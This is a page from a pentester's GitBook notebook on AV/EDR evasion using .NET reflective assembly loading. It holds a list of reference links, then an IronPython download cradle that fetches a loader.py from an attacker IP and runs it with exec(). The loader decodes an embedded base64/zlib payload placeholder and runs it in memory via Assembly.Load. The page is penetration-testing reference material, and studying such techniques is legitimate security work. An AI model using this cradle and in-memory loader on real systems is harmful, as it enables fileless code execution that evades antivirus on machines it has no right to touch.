Pentester's Promiscuous Notebook
search
⌘Ctrlk
TwitterGitHubBlog
Pentester's Promiscuous Notebook
  • README
  • ⚒️Pentest
    • C2
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • Credentials Harvesting
        • Discovery
        • DnsAdmins
        • Dominance
        • gMSA / dMSA
        • GPO Abuse
        • Kerberos
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
        • LDAP
        • NTLM
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
      • DevOps
      • DBMS
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
    • Password Brute Force
    • Perimeter
    • Shells
    • Web
    • Wi-Fi
  • ⚔️Red Team
    • Basics
    • Infrastructure
    • Development
  • 🐞Exploit Dev
    • BOF
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
    • Networking
    • Virtualization
    • Windows
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. ⚒️Pentestchevron-right
  2. Infrastructurechevron-right
  3. ADchevron-right
  4. AV / EDR Evasionchevron-right
  5. .NET Assembly

.NET Reflective Assembly

  • https://blog.king-sabri.net/red-team/executing-c-assembly-in-memory-using-assembly.loadarrow-up-right

  • https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/arrow-up-right

  • https://www.praetorian.com/blog/running-a-net-assembly-in-memory-with-meterpreterarrow-up-right

  • https://github.com/S3cur3Th1sSh1t/PowerSharpPack#powersharppackarrow-up-right

  • https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershellarrow-up-right

  • https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1arrow-up-right

  • https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/convert_c%23_to_ps1.ps1arrow-up-right

  • https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.htmlarrow-up-right

  • https://cyberstoph.org/posts/2020/09/convertto-powershell-wrapping-applications-with-ps/arrow-up-right

hashtag
IronPython Loader

  • https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loaderarrow-up-right

  • https://github.com/IronLanguages/ironpython3/releasesarrow-up-right

  • https://pythonnet.github.io/arrow-up-right

  • https://github.com/BC-SECURITY/Empire/blob/master/empire/server/stagers/CSharpPy.yamlarrow-up-right

  • https://github.com/BC-SECURITY/IronSharpPackarrow-up-right

Cradle:

Payload:

Last updated 4 months ago

>>> import urllib.request
>>> request = urllib.request.Request('http://10.10.13.37/loader.py')
>>> result = urllib.request.urlopen(request)
>>> payload = result.read()
>>> exec(payload)
loader.py
import clr
import zlib
import base64

clr.AddReference('System')
from System import *
from System.Reflection import *

b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<LOADER_BYTES_B64>'))).decode()
raw = Convert.FromBase64String(b64)

assembly = Assembly.Load(raw)
type = assembly.GetType('Loader.Program')
type.GetMethod('Main').Invoke(Activator.CreateInstance(type), None)